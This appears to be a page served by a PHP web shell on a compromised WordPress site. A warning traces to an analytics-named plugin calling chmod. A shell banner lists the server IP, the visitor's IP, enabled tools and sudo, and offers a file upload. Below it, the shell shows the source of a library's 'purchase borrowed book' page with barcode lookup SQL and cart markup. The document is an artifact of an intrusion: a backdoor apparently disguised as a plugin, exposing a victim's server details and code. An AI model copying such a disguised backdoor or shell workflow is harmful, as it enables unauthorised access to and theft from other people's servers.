Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/hopeinstoughton_books/_oldsite/ |
Upload File : |
<?php
require './inc/include.php';
$FIELDDEFS1 = array(
'item' => array('opt' => INP_STRING, 'lbl' => '&Barcode', 'wd' => 20),
);
$page = isset($_GET['pg']) ? intval($_GET['pg']) : 1;
$DATABASE->Open();
switch($page) {
case 1:
$temp = Page1_GetBarcode();
break;
case 2:
$customer = intval($_GET['id']);
$temp = Page2_AddToCart($customer);
break;
}
$DATABASE->Close();
echo page_header('Purchase');
echo $temp;
echo page_footer();
exit;
function Page1_GetBarcode() {
global $FIELDDEFS1, $operation;
$errcount = ifp_PrepareData($DATA, '', '', $FIELDDEFS1);
if ($operation == 'next step') {
Post1_LookupBarcode();
}
$text = ifp_GeneratePage($FIELDDEFS1);
$errmsg = ifp_GetErrorText($FIELDDEFS1);
$cursor = ifp_setcursor($FIELDDEFS1);
return <<<BLOCK
<h2>Purchase Borrowed Book</h2>
<p>You may purchase any title you have borrowed. Please type in the barcode of the item you wish to purchase:</p>
<form method="post" name="f" action="?pg=1">
<fieldset><legend>Select Item</legend>
<table border="0" width="100%">
$text
<tr><td>$errmsg</td></tr>
<tr><td align="right"> <input type="submit" name="s" value=" next step "></td></tr>
</table>
</fieldset>
</form>
$cursor
<p>From the barcode you enter, you will be shown a list of all the items you are currently borrowing,
together with the purchase price of each. Add the item(s) you wish to purchase to the cart.</p>
<br><br><br><br>
<p>Also, please note - if the book is more than 4 weeks overdue, we will assume that you
intend to purchase it, so we will send you an invoice -- return either the green stuff, or the book.</p>
<br><br><br><br><br><br>
BLOCK;
}
function Post1_LookupBarcode() {
global $VARIABLE, $DATABASE, $BASE_URL;
$barcode = $VARIABLE['item'];
$dbarcode = $DATABASE->formatString($barcode);
$sql = "select * from dt_trant
left outer join dt_tranh on dt_tran=bh_id
where dt_returned=0 and dt_stockcode=$dbarcode and bh_type<>'X'
order by dt_tran desc";
$data = $DATABASE->Lookup($sql);
DatabaseError();
if ($data['__existing']) {
$memberid = intval($data['bh_member']);
$DATABASE->Close();
header("Location: http://$BASE_URL?pg=2&id=$memberid");
exit;
}
$VARIABLE['item.ERR'] = 'Unrecognized Barcode. Please try again';
}
//display borrowed books on left (with prices); display client details & cart in right column
//button: add to cart; link: checkout
function Page2_AddToCart($customer) {
global $DATABASE;
$sql = "select * from dt_trant
left outer join dt_tranh on dt_tran=bh_id
left outer join dt_stock on ds_barcode=dt_stockcode
left outer join dt_title on bt_id=ds_title
where dt_returned=0 and bh_member=$customer and bh_type<>'X'
order by dt_tran desc";
$data = $DATABASE->Query($sql, '__list', array());
DatabaseError();
$display = _page2a_FormatData($data);
DatabaseError();
return <<<BLOCK
<h2>Add to Cart</h2>
<p>Please add the item(s) you wish to purchase to the cart.</p>
$display
BLOCK;
}
function __list(&$ITEM, &$param) {
$title = ip_LookupTitle($ITEM['ds_title']);
$price = ip_ItemCost($ITEM);
$param[] = array('title' => $title['*'], 'sell' => $price, 'bar' => $ITEM['dt_stockcode']);
}
function _page2a_FormatData(&$data) {
$res = '';
foreach($data as $info) {
$dtitle = ip_quote($info['title']);
$image = ''; // this will be a clickable thumbnail
$line = <<<BLOCK
<div class="product">
<table width="500" class="cartitem">
<tr><td width="338"><span class="product-title">$dtitle</td>
<td rowspan="2" width="32">$image</td>
<td rowspan="2" width="40" style="vertical-align: middle; text-align: right;"><span class="product-price">\${$info['sell']}</span></td>
<td rowspan="2" width="90" style="vertical-align: middle;"><img class="googlecart-add" src="/img/btn_cart.gif" width="85" height="20"></td></tr>
<tr>
<td><font color="#999999"><span class="product-attr-barcode">{$info['bar']}</span></font></td></tr>
</table>
</div>
BLOCK;
// $line = "<td><input type=\"checkbox\" name=\"d[]\" value=\"{$info['bar']}\"> {$info['title']}</td><td align=\"right\">{$info['sell']}</td>";
$res .= $line;
}
return $res;
}
/*
<table border="0" width="90%">
$display
<tr><td align="right"><input type="submit" name="s" value=" add to cart "></td></tr>
</table>
$line = "<td><input type=\"checkbox\" name=\"d[]\" value=\"{$info['bar']}\"> {$info['title']}</td><td align=\"right\">{$info['sell']}</td>";
$res .= "\n<tr>$line</tr>";
<div class="product"><input value="Google T-Shirt" class="product-title" type="hidden"><input value="14.99" class="product-price" type="hidden"><div title="Add to cart" role="button" tabindex="0" class="googlecart-add-button"></div></div>
<img class="product-image" src="image1.jpg"/><br/>
<span class="product-title">{$info['title']}</span><br/>
<span class="product-price">\${$info['sell']}</span><br/>
<span class="googlecart-add">Add to Cart</span>
<input type="hidden" class="product-attr-barcode" name="barcode" value="{$info['bar']}">
*/
?>